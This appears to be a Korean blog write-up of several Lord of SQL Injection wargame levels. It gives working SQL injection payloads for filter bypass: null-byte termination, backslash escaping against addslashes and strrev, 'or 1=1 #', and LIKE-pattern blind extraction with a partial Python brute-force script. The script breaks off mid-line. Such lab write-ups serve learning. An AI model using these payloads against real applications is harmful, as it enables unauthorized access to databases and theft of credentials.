pw의 길이가 6을 넘지 않아야 하고, 쿼리문에서 pw는 괄호로 묶여있고 id는 admin이 아니다. 따라서 pw 뒤를 주석 처리함으로써 문제를 해결해야겠다고 생각했다. 다만 --와 #이 필터링된 상태이므로, pw=('')=0의 상태가 되도록 해 pw를 참으로 만들어야 한다. 길이 제한에 걸리지 않도록 가장 짧은 %00을 이용해 ?pw=')=0;%00 와 같이 입력해주었다. Clear!
addslashes 함수와 strrev 함수가 보인다. 쿼리를 id='"\"' and pw='or 1#'으로 만들어주면 풀릴 것 같다. 따라서 id에는 "를, pw에는 %231%20ro를 넣어보았다. Clear!
id와 pw에 각각 필터링이 걸려 있다. id='\' and pw='or 1=1 #' 처럼 쿼리를 만들면 항상 참인 쿼리가 되므로, id에는 \를, pw에는 or 1=1 #을 넣어주었다. Clear!
싱글쿼터(')가 필터링된다. like를 이용할 때는 mysql에서 문자열 검색 시 사용하는 %를 이용해 문자열을 알아낼 수 있다. a% : a로 시작하는 문자열 %a% : a를 포함하는 문자열 %a : a로 끝나는 문자열 a_ : a로 시작하는 두 글자의 문자열 파이썬으로 자동화 코드를 작성했다. import requests pw='' for i in range(99) : for j in range(ord('0'),ord('z')) : URL='http://los.rubiya.kr/assassin_14a1fd552c61c60f034879e5d4171373.php' query={'pw': str(pw)+chr(j)+'%'} headers = {'Content-Type': 'application/json; ..